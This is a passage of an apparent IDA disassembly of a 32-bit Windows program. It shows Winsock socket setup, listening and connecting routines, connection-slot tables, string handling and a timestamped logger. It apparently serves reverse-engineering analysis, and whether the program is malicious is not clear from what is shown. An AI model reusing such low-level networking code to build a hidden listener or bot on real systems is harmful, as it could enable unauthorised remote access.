add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_41981E: ; CODE XREF: sub_419790+5Aj
; sub_419790+62j
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
nop
call near ptr 71AB50C8h
test eax, eax
pop edi
jnz short loc_419850
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
loc_419850: ; CODE XREF: sub_419790+52j
; sub_419790+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_419790 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4198A0 proc near ; CODE XREF: sub_401EECj
nop
call near ptr 27D091Eh
push eax
call near ptr 77C371BCh
nop
pop ecx
retn
sub_4198A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4198C0 proc near ; CODE XREF: sub_4021A3j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
nop
call near ptr 77C371D3h
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul dbl_43E0B0
call sub_4368EA
sub_4198C0 endp
; ---------------------------------------------------------------------------
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419910: ; CODE XREF: ___:00401C85j
call near ptr 77C371D3h
nop
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_419930: ; CODE XREF: ___:0040151Ej
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419950: ; CODE XREF: ___:00401FC3j
xor al, al
retn 4
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419970 proc near ; CODE XREF: sub_401523j
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov ecx, offset byte_4D60A5
call sub_401118
retn
sub_419970 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4199B0: ; CODE XREF: ___:00401505j
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_4199E3
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_4199E3
mov [esp+18h], eax
loc_4199E3: ; CODE XREF: ___:004199CBj
; ___:004199DDj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov esi, offset dword_506E5C
loc_4199F8: ; CODE XREF: ___:00419A49j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_419A4B
cmp byte ptr [esi], 0
jz short loc_419A34
mov eax, [esp+30h]
test eax, eax
jz short loc_419A28
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_419A28
push eax
push esi
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz short loc_419A34
loc_419A28: ; CODE XREF: ___:00419A0Fj
; ___:00419A17j
push edi
push esi
push ebx
push ebp
call sub_401523
add esp, 10h
loc_419A34: ; CODE XREF: ___:00419A07j
; ___:00419A26j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_50AE5C
mov [esp+14h], edx
jl short loc_4199F8
loc_419A4B: ; CODE XREF: ___:00419A02j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: ___:00402266j
push ebx
mov ebx, dword_50FAF8
push esi
push edi
mov edi, [esp+10h]
mov esi, offset dword_506E5C
loc_419AA2: ; CODE XREF: ___:00419ABEj
cmp byte ptr [esi], 0
jz short loc_419AB2
push edi
push esi
call ebx
add esp, 8
test eax, eax
jnz short loc_419AC6
loc_419AB2: ; CODE XREF: ___:00419AA5j
add esi, 80h
cmp esi, offset dword_50AE5C
jl short loc_419AA2
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419AC6: ; CODE XREF: ___:00419AB0j
pop edi
pop esi
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419AE0 proc near ; CODE XREF: sub_4010D2j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
nop
call near ptr 27A0000h
mov edi, dword_50FAFC
mov esi, offset dword_50AE5C
loc_419AFB: ; CODE XREF: sub_419AE0+3Bj
cmp byte ptr [esi], 0
jz short loc_419B0F
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi
add esp, 0Ch
loc_419B0F: ; CODE XREF: sub_419AE0+1Ej
sub esi, 80h
cmp esi, offset dword_506E5C
jge short loc_419AFB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push 80h
push offset dword_506E5C
nop
call near ptr 77C3FA76h
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_419AE0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419BB0: ; CODE XREF: ___:004012DAj
sub esp, 600h
mov ecx, 80h
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov ecx, 80h
lea edi, [esp+210h]
mov ebp, dword_50FAFC
push 1FFh
rep stosd
mov ecx, 80h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_419C21
mov [edx+180h], al
loc_419C21: ; CODE XREF: ___:00419C19j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_419D32
loc_419C3F: ; CODE XREF: ___:00419D25j
lea edx, [esp+10h]
push ebx
push edx
nop
call near ptr 77C47C60h
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 1FFh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp
lea ecx, [esp+24h]
push 1FFh
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_419D00
lea eax, [ebx-1]
test eax, eax
jz short loc_419D00
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_419CDD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push offset aSSS ; "%s%s%s"
push ecx
call near ptr byte_5EA1BD
nop
add esp, 14h
jmp short loc_419D00
; ---------------------------------------------------------------------------
loc_419CDD: ; CODE XREF: ___:00419CAEj
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push offset aSS_3 ; "%s%s"
push ecx
nop
call near ptr byte_5EA1BD
add esp, 10h
loc_419D00: ; CODE XREF: ___:00419C8Aj
; ___:00419C91j ...
mov edx, [esp+61Ch]
mov esi, dword_50FAF8
push edx
push ebx
call esi
add esp, 8
test eax, eax
jnz short loc_419D2B
lea eax, [esp+10h]
push ebx
push eax
call esi
add esp, 8
test eax, eax
jnz loc_419C3F
loc_419D2B: ; CODE XREF: ___:00419D16j
mov esi, [esp+614h]
loc_419D32: ; CODE XREF: ___:00419C39j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419DD0: ; CODE XREF: ___:004018CFj
sub esp, 10h
push esi
push 0
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_419DEE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419DEE: ; CODE XREF: ___:00419DE5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
call near ptr 71AB2B66h
nop
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_419E39
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419E39: ; CODE XREF: ___:00419E2Fj
push 7FFFFFFFh
push esi
call near ptr 71AB88D3h
nop
test eax, eax
jz short loc_419E51
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419E51: ; CODE XREF: ___:00419E47j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419E90: ; CODE XREF: ___:00401E65j
push edi
xor edi, edi
mov eax, offset byte_4DE2D5
loc_419E98: ; CODE XREF: ___:00419EA8j
cmp dword ptr [eax], 0
jz short loc_419EAA
add eax, 316h
inc edi
cmp eax, offset byte_4E5E45
jle short loc_419E98
loc_419EAA: ; CODE XREF: ___:00419E9Bj
cmp edi, 13h
jle short loc_419EB4
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419EB4: ; CODE XREF: ___:00419EADj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, dword_50FBF0
push esi
lea eax, [eax+eax*4]
lea esi, ds:4DE1DBh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419F50 proc near ; CODE XREF: sub_4013E8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov eax, offset dword_4D6765
loc_419F58: ; CODE XREF: sub_419F50+18j
cmp dword ptr [eax], 0
jz short loc_419F6A
add eax, 316h
inc edi
cmp eax, offset byte_4DE2D5
jle short loc_419F58
loc_419F6A: ; CODE XREF: sub_419F50+Bj
cmp edi, 13h
jle short loc_419F74
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419F74: ; CODE XREF: sub_419F50+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, dword_50FBF0
push esi
lea eax, [eax+eax*4]
lea esi, ds:4D666Bh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_419F50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A010 proc near ; CODE XREF: sub_401C35j
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43E0BC
mov eax, dword_50BB28
test eax, eax
jnz short loc_41A048
mov eax, dword_50BB28
inc eax
mov dword_50BB28, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 202h
nop
call near ptr 71AB664Dh
jmp short loc_41A055
; ---------------------------------------------------------------------------
loc_41A048: ; CODE XREF: sub_41A010+19j
mov edx, dword_50BB28
inc edx
mov dword_50BB28, edx
loc_41A055: ; CODE XREF: sub_41A010+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov edi, offset byte_446F60
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_41A010 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401FC8
test [esp+4+arg_0], 1
jz short loc_41A0F8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj
mov eax, esi
pop esi
retn 4
sub_41A0E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A110 proc near ; CODE XREF: sub_401FC8j
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43E0BC
test al, al
jnz short loc_41A125
call sub_4014DD
loc_41A125: ; CODE XREF: sub_41A110+Ej
mov eax, 1
mov ecx, dword_50BB28
cmp ecx, eax
jle short loc_41A140
mov eax, dword_50BB28
dec eax
mov dword_50BB28, eax
locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j
retn
; ---------------------------------------------------------------------------
loc_41A140: ; CODE XREF: sub_41A110+22j
jnz short locret_41A13F
mov ecx, dword_50BB28
dec ecx
mov dword_50BB28, ecx
nop
jmp near ptr 71AB4428h
sub_41A110 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A180: ; CODE XREF: ___:004015A0j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43ACCB
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_40195B
test al, al
jz loc_41A231
mov al, [esi+80Bh]
test al, al
jz short loc_41A1B9
mov al, 1
jmp short loc_41A231
; ---------------------------------------------------------------------------
loc_41A1B9: ; CODE XREF: ___:0041A1B3j
push ebx
push edi
mov edi, [esp+830h]
push 800h
lea eax, [esi+6]
push edi
push eax
nop
call near ptr 77C47A90h
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401186
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_401636
push eax
mov ecx, esi
call sub_4020C7
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_40186B
mov al, bl
pop edi
pop ebx
loc_41A231: ; CODE XREF: ___:0041A1A5j
; ___:0041A1B7j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A290 proc near ; CODE XREF: sub_40195Bj
mov al, byte_443DC0
retn
sub_41A290 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A2B0 proc near ; CODE XREF: sub_4020C7j
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A2D0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A2D0: ; CODE XREF: sub_41A2B0+12j
mov al, [esi+80Bh]
test al, al
jnz loc_41A471
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A30A
mov ecx, esi
call sub_4014DD
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A30A: ; CODE XREF: sub_41A2B0+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A319
push 1
jmp short loc_41A31B
; ---------------------------------------------------------------------------
loc_41A319: ; CODE XREF: sub_41A2B0+63j
push 0
loc_41A31B: ; CODE XREF: sub_41A2B0+67j
mov ecx, esi
call sub_4018BB
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
call near ptr 71AB2B66h
nop
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
mov [esi+4], di
nop
call near ptr 71AB406Ah
mov ebp, dword_50FC44
test eax, eax
jge short loc_41A3BC
call ebp
cmp eax, 2733h
jz short loc_41A3AD
call ebp
cmp eax, 0Bh
jz short loc_41A3AD
call ebp
cmp eax, 2733h
jz short loc_41A3AD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j
; sub_41A2B0+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_41A46A
loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, dword_50FC80
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi
test eax, eax
jge short loc_41A430
loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej
call ebp
call ebp
cmp eax, 4
jnz short loc_41A445
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_41A414
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_41A445
loc_41A414: ; CODE XREF: sub_41A2B0+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi
test eax, eax
jl short loc_41A3FB
loc_41A430: ; CODE XREF: sub_41A2B0+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A461
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_41A463
; ---------------------------------------------------------------------------
loc_41A445: ; CODE XREF: sub_41A2B0+152j
; sub_41A2B0+162j
mov ecx, esi
call sub_4014DD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A461: ; CODE XREF: sub_41A2B0+189j
push 0
loc_41A463: ; CODE XREF: sub_41A2B0+193j
mov ecx, esi
call sub_4018BB
loc_41A46A: ; CODE XREF: sub_41A2B0+106j
mov byte ptr [esi+80Bh], 1
loc_41A471: ; CODE XREF: sub_41A2B0+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_41A2B0 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A500 proc near ; CODE XREF: sub_4014DDj
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41A51A
cmp eax, 0FFFFFFFFh
jz short loc_41A51A
push eax
nop
call near ptr 71AB9639h
loc_41A51A: ; CODE XREF: sub_41A500+Cj
; sub_41A500+11j
mov ecx, esi
call sub_401375
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_41A500 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A540 proc near ; CODE XREF: sub_401375j
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov edi, offset byte_446F60
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_41A540 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A5B0 proc near ; CODE XREF: sub_401488j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A5C6
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_41A67F
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A5FB
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A5FB: ; CODE XREF: sub_41A5B0+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41A654
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A654: ; CODE XREF: sub_41A5B0+92j
mov ecx, [esi+806h]
push 32h
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41A678
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A678: ; CODE XREF: sub_41A5B0+B6j
mov byte ptr [esi+80Bh], 1
loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_41A5B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A6D0 proc near ; CODE XREF: sub_401B81j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A6EE
pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A6EE: ; CODE XREF: sub_41A6D0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_41A705
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A705: ; CODE XREF: sub_41A6D0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_41A781
call sub_40195B
test al, al
jz short loc_41A774
mov edi, dword_50FC80
loc_41A71E: ; CODE XREF: sub_41A6D0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
mov [esp+13Ch+var_118], 64h
call edi
test eax, eax
jz short loc_41A76B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41A781
loc_41A76B: ; CODE XREF: sub_41A6D0+84j
call sub_40195B
test al, al
jnz short loc_41A71E
loc_41A774: ; CODE XREF: sub_41A6D0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A781: ; CODE XREF: sub_41A6D0+3Dj
; sub_41A6D0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_41A7A4
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_41A7B6
; ---------------------------------------------------------------------------
loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j
mov eax, [esi+806h]
push eax
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_41A7D9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
call sub_4020EA
mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_41A6D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A860 proc near ; CODE XREF: sub_4020EAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_41A860 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A890 proc near ; CODE XREF: sub_401960j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401B3B
retn 0Ch
sub_41A890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
